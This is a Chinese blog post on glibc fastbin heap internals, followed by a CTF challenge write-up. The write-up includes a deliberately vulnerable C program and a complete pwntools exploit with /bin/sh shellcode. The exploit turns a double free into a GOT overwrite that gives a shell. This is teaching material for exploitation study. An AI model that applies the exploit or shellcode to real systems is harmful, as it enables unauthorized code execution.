作者: 知道創宇404實驗室
當使用malloc函數第一次向系統申請小于128kb的內存時,會通過sys_brk申請132kb的內存,這塊內存就稱為堆。
寫個測試代碼,對著測試代碼進行分析(64位系統):
# test.c
# gcc test.c -o test
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
char *q;
char *p;
int x;
char input[3];
while(1) {
read(0,input,3);
x = atoi(input);
q = (char *)malloc(x);
read(0,input,3);
x = atoi(input);
p = (char *)malloc(x);
free(q);
free(p);
}
return 0;
}
然后使用gdb進行調試(使用peda和libheap插件,這兩個都可以在github上搜到),當第一次調用malloc(0x10)之后,查看內存信息:
gdb-peda$ vmmap
....
0x00602000 0x00623000 rw-p [heap]
....
可以看到堆的大小為132kb
先來說下基礎概念:
fast chunk表示正在使用的長度在32-160
(32位系統是16-80
)的堆塊,而fastbin表示長度在32-180
范圍內的已經釋放的堆塊
我們可以看源碼中的定義:
1570 /* The maximum fastbin request size we support */
1571 #define MAX_FAST_SIZE (80 * SIZE_SZ / 4)
其中SIZE_SZ
根據操作系統決定,32位系統為4, 64位系統為8
所以之后又定義了一個fastbin數組,用來存在fastbin:
1659 /* Fastbins */
1660 mfastbinptr fastbinsY[NFASTBINS];
其中NFASTBINS
是宏定義,一般算出來是10,所以這個數組的長度為10,值為地址,儲存fastbin的地址,比如fastbinsY[0]的值為最新釋放出來的長度為32的fastbin的地址,fastbin是根據長度存放數組的,所以index=1存放的是48,2->64, 3->80, 4->96, 5->112, 6->128, 7->144, 8->160, 而fastbinsY[9]卻用不上,我也不知道為啥…..
但是我卻解決了這里的另一個坑,如果我們進行測試,就會發現我們最大malloc(120),size=128的chunk才是fast chunk,free后可以放到fastbinsY[6]中去,但是如果我們malloc(128),free后卻放到了unsortbin中去,也就是說index=7 or 8也是用不上的,這里我們看代碼:
729 #ifndef DEFAULT_MXFAST
730 #define DEFAULT_MXFAST (64 * SIZE_SZ / 4)
731 #endif
這里代碼還定義了默認fast的大小為128(32位的為64),而這個值我們是可以修改的,詳情見:http://man7.org/linux/man-pages/man3/mallopt.3.html
M_MXFAST (since glibc 2.3)
Set the upper limit for memory allocation requests that are
satisfied using "fastbins". (The measurement unit for this
parameter is bytes.) Fastbins are storage areas that hold
deallocated blocks of memory of the same size without merging
adjacent free blocks. Subsequent reallocation of blocks of
the same size can be handled very quickly by allocating from
the fastbin, although memory fragmentation and the overall
memory footprint of the program can increase.
The default value for this parameter is 64*sizeof(size_t)/4
(i.e., 64 on 32-bit architectures). The range for this
parameter is 0 to 80*sizeof(size_t)/4. Setting M_MXFAST to 0
disables the use of fastbins.
所以默認情況下,fastbin數組的最后3個是不會存儲數據的
了解了長度的問題后來說說chunk和bin的問題
一個在使用中的堆就是chunk,當我們free了這個chunk后,就會放入相應的bin中,也就是說當free了fast chunk,將會把這個chunk存放到fastbin中,如何存放后面說。
我們再來看下面的內容:
gdb-peda$ heapls
[!] No gdb frame is currently selected.
ADDR SIZE STATUS
sbrk_base 0x602000
chunk 0x602000 0x20 (inuse)
chunk 0x602020 0x20fe0 (top)
sbrk_end 0x623000
gdb-peda$ x/16gx 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe0
還有一個chunk名叫top chunk,這么說吧,在使用的chunk + bin + top chunk的大小就為132kb,看上面的fast chunk的size=0x20加上top chunk的size=0x20fe0的和為0x21000,也就是sys_brk申請下來132kb的堆大小。
三者之間的邏輯是這樣的(默認64位系統,之后都默認了),首先調用malloc(0x10),首先去判斷fastbinsY[0]是否為空,如果存在一個地址,然后去檢測一些有效性啥的,比如size是否為0x20(size >> 3 << 3, 不算標志位),如果檢測出問題了就拋出異常,否則malloc的返回值就為該地址,然后fastbinsY[0]新的值為:fastbinsY[0]=fastbinsY[0]->fd
如果fastbinsY[0]=0的話,則去判斷top chunk的大小是否夠,如果夠就從top chunk中取出,操作大概是這樣的:
top->size -= 32
*(top+32) = top->size
top->size = 0x21
ret = top + 16
top = top + 32
return ret
然后就是free的操作了
PS: 此文只講fastbin
p = malloc(16)
free(p) ->
p->fd = fastbinsY[0]
fastbinsY[0] = p
很簡單,fastbin是一個單鏈表,從上面可以看出這是一個LIFO(Last in, first out后進先出)
當初我還想了半天為啥使用LIFO,為啥新free的chunk不直接插到屁股,因為我們只有一個fastbinsY[0]指針,如果直接插到屁股的話每次都要迭代到最后一個chunk然后把它的fd賦值為新的chunk的地址,而使用LIFO,我們只需要修改fastbinsY[0]指針的值和新的chunk的值,花費在fastbin鏈有很多的時候肯定是更少的
原理應該差不多了,然后講講結構
我們可以使用libheap來查看現在堆的一些信息:
gdb-peda$ heap
Arena(s) found:
arena @ 0x7ffff7dd1b20
gdb-peda$ fastbins
[!] No gdb frame is currently selected.
fastbins
[ fb 0 ] 0x7ffff7dd1b28 -> [ 0x0 ]
[ fb 1 ] 0x7ffff7dd1b30 -> [ 0x0 ]
[ fb 2 ] 0x7ffff7dd1b38 -> [ 0x0 ]
[ fb 3 ] 0x7ffff7dd1b40 -> [ 0x0 ]
[ fb 4 ] 0x7ffff7dd1b48 -> [ 0x0 ]
[ fb 5 ] 0x7ffff7dd1b50 -> [ 0x0 ]
[ fb 6 ] 0x7ffff7dd1b58 -> [ 0x0 ]
[ fb 7 ] 0x7ffff7dd1b60 -> [ 0x0 ]
[ fb 8 ] 0x7ffff7dd1b68 -> [ 0x0 ]
[ fb 9 ] 0x7ffff7dd1b70 -> [ 0x0 ]
首先是arena是什么,這個地址表示的是啥?這個我沒找到相關的文章,我是自己解決的,首先我使用vmmap
先查看這個地址屬于哪:
gdb-peda$ vmmap
Start End Perm Name
......
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
......
然后發現這個地址是屬于libc的,然后猜測應該是malloc相關的,再加上發現arena+8是fastbin,然后我在malloc.c中找到了一個結構體:
1651 struct malloc_state
1652 {
1653 /* Serialize access. */
1654 __libc_lock_define (, mutex);
1655
1656 /* Flags (formerly in max_fast). */
1657 int flags;
1658
1659 /* Fastbins */
1660 mfastbinptr fastbinsY[NFASTBINS];
1661
1662 /* Base of the topmost chunk -- not otherwise kept in a bin */
1663 mchunkptr top;
1664
1665 /* The remainder from the most recent split of a small request */
1666 mchunkptr last_remainder;
1667
1668 /* Normal bins packed as described above */
1669 mchunkptr bins[NBINS * 2 - 2];
1670
1671 /* Bitmap of bins */
1672 unsigned int binmap[BINMAPSIZE];
1673
1674 /* Linked list */
1675 struct malloc_state *next;
1676
1677 /* Linked list for free arenas. Access to this field is serialized
1678 by free_list_lock in arena.c. */
1679 struct malloc_state *next_free;
1680
1681 /* Number of threads attached to this arena. 0 if the arena is on
1682 the free list. Access to this field is serialized by
1683 free_list_lock in arena.c. */
1684 INTERNAL_SIZE_T attached_threads;
1685
1686 /* Memory allocated from the system in this arena. */
1687 INTERNAL_SIZE_T system_mem;
1688 INTERNAL_SIZE_T max_system_mem;
1689 };
然后發現:
gdb-peda$ x/16gx 0x7ffff7dd1b20
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000000000602000
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000000000602040
0x7ffff7dd1b78
的值為top chunk的地址然后就知道我應該是沒找錯了,這塊區域就是各類bin的鏈首,其他的small, large, unsort bin之類的都是存儲在mchunkptr bins[NBINS * 2 - 2];
之中,找到一篇文章中是有介紹的:
- Bin 1 – Unsorted bin
- Bin 2 to Bin 63 – Small bin
- Bin 64 to Bin 126 – Large bin
這些以后研究,繼續看fastbin
我們再來看chunk的結構,定義在malloc.c中:
1040 struct malloc_chunk {
1041
1042 INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
1043 INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
1044
1045 struct malloc_chunk* fd; /* double links -- used only if free. */
1046 struct malloc_chunk* bk;
1047
1048 /* Only used for large blocks: pointer to next larger size. */
1049 struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
1050 struct malloc_chunk* bk_nextsize;
1051 };
......
1068 An allocated chunk looks like this:
1069
1070
1071 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1072 | Size of previous chunk, if unallocated (P clear) |
1073 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1074 | Size of chunk, in bytes |A|M|P|
1075 mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1076 | User data starts here... .
1077 . .
1078 . (malloc_usable_size() bytes) .
1079 . |
1080 nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1081 | (size of chunk, but used for application data) |
1082 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1083 | Size of next chunk, in bytes |A|0|1|
1084 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
......
1094 Free chunks are stored in circular doubly-linked lists, and look like this:
1095
1096 chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1097 | Size of previous chunk, if unallocated (P clear) |
1098 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1099 `head:' | Size of chunk, in bytes |A|0|P|
1100 mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1101 | Forward pointer to next chunk in list |
1102 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1103 | Back pointer to previous chunk in list |
1104 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1105 | Unused space (may be 0 bytes long) .
1106 . .
1107 . |
1108 nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1109 `foot:' | Size of chunk, in bytes |
1110 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
1111 | Size of next chunk, in bytes |A|0|0|
1112 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
上面這么代碼和注釋這么多是針對整體的chunk來說的,而我這篇文章中是針對fast chunk和fast bin進行研究.
對于fast chunk其實就一個有用的字段,就是size,表示當前chunk的大小,然后size的低三bit位是標志位,為什么size的最后三bit能是標志位,因為在32位系統中,chunk永遠是8的倍數,然后寫代碼的人秉持了不浪費任何一bit的原則,這最后3bit就被哪來做標志位了,不過在64位系統中,chunk是16的倍數,所以講道理,在64位系統中size的低4bit都是能拿來做標志位的,但是我猜測,應該是64位系統和32位相比沒有多啥需要標志位的功能,所以任然是使用低三bit做標志位。
然后在做Pwn的時候就標志位P有用吧,表示上一個chunk是否在使用中,不過在fast chunk/bin中P標志位永遠是1,free操作并不會修改fastbin的標志位,所以pre_size,前一個不在使用中的chunk的大小,因為P=1,所以在fastbin中這個字段可以說是沒用的,其實還是有用的,后面說。
因為chunk總是16的倍數,所以當我們malloc(0-16)的時候,得到的chunk的size就是存放數據的16byte加上chunk header,也就是8byte的pre_size,和8byte的size,所以malloc得到的最小的chunk大小為32byte。
但是當我測試的時候發現,我malloc(0-24)得到的chunk大小都為0x20, 當我malloc(25-40)得到的chunk大小為0x30,按我的理解,這是因為malloc的作者是告訴你可以把pre_size利用起來
當我malloc(24)的時候,得到size=0x20的chunk,其中有0x10的chunk header,然后有0x10的地方存放data,然后仔細研究會發現,還有8byte的下一個chunk的pre_size可以存放數據,因為當前chunk肯定是使用中的,所以下一個chunk的標志位P=1,pre_size沒用,所以可以被上一個chunk利用,當free的時候,再往下一個chunk的pre_size設置值,所以按作者的想法應該是這樣能達到最大利用率。
然后就是fastbin了,其實fastbin和fast chunk比,就是多了一個fd,在fastbin單鏈表中起作用,前面已經說了。因為是單鏈表,所以bk沒用。
寫了這么多,個人感覺應該是寫清楚了,就留了一個坑吧——fastbinsY[9]有啥作用?
# mistake.c
# gcc mistake.c -z execstack -o mistake
#include <stdio.h>
#include <stdlib.h>
typedef struct chunk{
char buffer[0x10];
int len;
}chunk;
chunk* list[0x30];
int chunk_number;
void menu()
{
write(1,"1.create\n",9);
write(1,"2.read\n",7);
write(1,"3.free\n",7);
write(1,"4.bye\n",6);
write(1,"> ",2);
}
int transfer(char* buffer){
int i,result = 0;
for(i = 0;*(buffer+i) != 0;i++){
if(*(buffer+i) > '9'||*(buffer+i) < '0'){
return -1;
}
result = result*10 - '0' + *(buffer+i);
}
return result;
}
int read_int(){
int i,result;
char buffer[11];
for(i = 0;i < 10;i++){
read(0,buffer+i,1);
if(*(buffer+i) == '\n'){
break;
}
}
*(buffer+i) = 0;
if((result = transfer(buffer)) == -1){
write(1,"Invalid input.\n",15);
return -1;
}
return result;
}
void create_chunk()
{
if(chunk_number > 0x2f){
write(1,"no more chunk.\n",15);
return;
}
chunk_number++;
chunk* tmp = (chunk*)malloc(0x14);
write(1,"content: ",9);
tmp->len = read(0,tmp->buffer,0x10);
list[chunk_number] = tmp;
write(1,"create successfully.\n",21);
}
void read_chunk()
{
int id;
write(1,"id: ",4);
if((id = read_int()) == -1){
return;
}
if(id > chunk_number){
write(1,"Index out of range.\n",20);
return;
}
write(1,list[id]->buffer,list[id]->len);
}
void free_chunk(){
int id,i;
write(1,"id: ",4);
if((id = read_int()) == -1){
return;
}
if(id > chunk_number){
write(1,"Index out of range.\n",20);
return;
}
free(list[id]);
chunk_number--;
for(i = id;i < 0x2f;i++){
list[i] = list[i+1];
}
write(1,"delete successfully\n",20);
}
int main(void){
chunk_number = -1;
char input[2];
int selete;
while(1){
menu();
read(0,input,2);
input[1] = 0;
if(!(selete = atoi(input))){
write(1,"Invalid input.\n",15);
continue;
}
switch(selete){
case 1:
create_chunk();
break;
case 2:
read_chunk();
break;
case 3:
free_chunk();
break;
case 4:
write(1,"bye~\n",5);
return 0;
default:
write(1,"Invalid input\n",15);
}
}
}
題目是協會的一個學弟(@spine)出的
再給個Dockerfile吧:https://github.com/Hcamael/docker_lib/tree/master/heap/mistake
這題感覺對于新手挺有難度的,第一次做的時候花了很長時間,然后現在復習還花了很長時間撿起來
這題的漏洞點在一個很小的地方,在create_chunk
,這里對輸入進行檢查,chunk_number的最大值為0x2f,看著是沒問題,但是再判斷完以后讓chunk_number進行自增,也就是到0x30了,list[0x30]是不是溢出了?但是這里溢出看著危害好像不大,但是進過一系列細微的操作,可以造成double free.
我想了很久要怎么總結pwn題,最后覺得還是一開始先點出漏洞點,然后貼出payload,再對payload進行解釋,所以,payload如下:
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
shellcode1 = "jhH\xb8/bin///sP\xeb\x21"
shellcode2 = "H\x89\xe71\xf6j;X\x99\x0f\x05"
p = process('./mistake')
def double_free():
p.sendline('3')
p.sendline('47')
print p.recv()
p.sendline('3')
p.sendline('0')
print p.recv()
p.sendline('3')
p.sendline('46')
print p.recv()
def malloc_fd():
p.sendline('1')
p.sendline(p64(0x602080-8))
print p.recv()
p.sendline('1')
p.sendline(shellcode2)
print p.recv()
p.sendline('1')
p.sendline(shellcode2)
print p.recv()
def free_del():
for x in xrange(3):
p.sendline('3')
p.send(str(0xfffffffd))
print p.recv()
def create_chunk():
for x in xrange(0x31):
p.sendline('1')
print p.recv()
if x == 1:
p.sendline(p64(0)+p64(0x21))
else:
p.sendline(shellcode2)
print p.recv()
create_chunk()
print "===create over=========="
double_free()
print "====double free over===="
free_del()
print "=====del over=========="
malloc_fd()
# 控制chunk_number
p.sendline('1')
p.send(p64(0xffffffef))
print p.recv()
p.sendline('3')
p.send('4294967291')
print p.recv()
p.sendline('1')
p.sendline(shellcode1)
p.interactive()
之前程序里寫了編譯方式,這題我們是關閉NX的,所以就要想著怎么可以執行shellcode
再講payload的時候,先提下,我們需要關注幾個地方,一個是存放chunk地址的list,還有就是使用libheap的fastbins命令查看fastbin情況
payload的第一步是create_chunk()
函數,創造出最大值0x31個chunk,chunk的賦值之后就知道其意義
這個時候list的情況:
list[0]
list[1]
list[2]
......
list[46]
list[47]
----overflow----
list[48]
然后就會產生2free了,看double_free()
,首先是只有free(list[47])操作,我們list[47]的值稱為list47,這個時候fastbin -> list47
第二次是free(list[0]),我們把list[0]稱為list0,這個時候
fastbin -> list0
list0.fd -> list47
但是除了free的操作,還會進行清除list[0]的移位操作:
list[0] = list[1]
list[1] = list[2]
......
list[45] = list[46]
list[46] = list[47]
然后我們再free(list[46]),這個時候list[46]的值為list47,而list47是被free過的,所以就造成了double free
這個時候
fastbin -> list47
list47.fd -> list0
list0.fd -> list47
然后,就涉及到了第二個bug,int chunk_number;
,chunk_number的值為int,所以在free_chunk函數中,id>chunk_number的比較可以讓id為負數來bypass
看之后的payload,free了3次list[-3] (list[-3] == list[0xfffffffd])
.bss:0000000000602080 chunk_number dd
.bss:0000000000602084 align 20h
.bss:00000000006020A0 public list
.bss:00000000006020A0 ; void *list
通過ida可以看到list[-3]的地址為0x0602088,值為0(不知道為啥list和chunk_number之間有28byte沒被使用的內存)
所以我們實際執行的是3次free(0),而該操作并不會改變啥,所以實際的效果只有:
list[-3] = list[0]
list[-2] = list[1]
list[-1] = lsit[2]
......
list[44] = list[47]
list[45] = list[47]
list[46] = list[47]
但是和剛執行完create_chunk
后的初始結果相比,是這樣的:
list[-3] = list[1]
list[-2] = list[2]
list[-1] = lsit[3]
......
list[43] = list[47]
list[44] = list[47]
list[45] = list[47]
list[46] = list[47]
這個時候執行malloc_fd
函數,我們回頭再看看現在fastbin的情況:
fastbin -> list47
list47.fd -> list0
list0.fd -> list47
所以,第一次malloc,我們得到的是list47的地址,然后在list47.fd的位置寫入了p64(0x602080-8)
第二次malloc,獲取到的是list0的地址
第三次malloc,獲取到又是list47的地址,這個時候,fastbin將會指向list47的fd:
fastbin -> 0x602078
為什么我們讓fastbin指向這個地址?因為fastbin在malloc的時候會對size進行檢查,也就是檢查address+8的值是否為合法size
如果fastbin指向0x602078,則會檢查0x602080是否是合法size,這個地址為存儲的是chunk_number,我們可以仔細計算下,這個時候的chunk_number=0x2e(0b101110),是一個合法的地址,所以這個時候我們可以成功malloc,返回地址0x602088,然后更新fastbin,fastbin指向的是0x602078的fd,也就是0x602088,這個地址是list[-3], 根據上面分析的,這個值也就是初始的list[1],所以在payload中,我們在這個位置寫入的是p64(0)+p64(0x21)
,為了之后能成功malloc所偽造的頭。
這時的fastbin:
fastbin -> old_list1
然后我們向0x602088寫入0x10byte的數據,我們在這個地方寫入的是p64(0xffffffef),也就是-17
之后我們再free(list[-5]) -> free(*0x602078) -> free(0), 不會發生啥,但是free_chunk除了調用free函數外還有一個操作:
list[-5] = list[-4]
list[-4] = list[-3]
......
其中
list[-4] = 0x602080
list[-3] = 0x602088
其中0x602080為chunk_number的地址,所以經過這個操作后,chunk_number的地址被修改為了0x602088地址的值,在上面我們可以看到,值為0xffffffef
最后一步,首先是chunk_number自增,得到0xfffffff0
然后是malloc獲得old_list1 + 16地址,寫入shellcode
然后在源碼中的操作是:
list[chunk_number] = tmp;
list的地址是0x6020a0
chunk_number的值為0xfffffff0
所以最后是向0x6020a0 + 8*0xfffffff0 = 0x602020地址寫入old_list1 + 16(也就是shellcode地址的值)
在我編譯出來的程序中
.got.plt:0000000000602020 off_602020 dq offset write
0x602020是write的got地址,所以修改了write的got表地址為shellcode地址
所以之后調用write,將會跳到shellcode地址,因為NX沒開,所以堆棧可執行,可以成功執行shellcode,導致getshell
PS:payload中的shellcode2沒啥用,只是我測試時候用的,這個相當于padding,看payload的時候別糾結這個,之前輸入有意義的一個是list[1]構造chunk header,一個就是最后的shellcode1了,其他的基本算是padding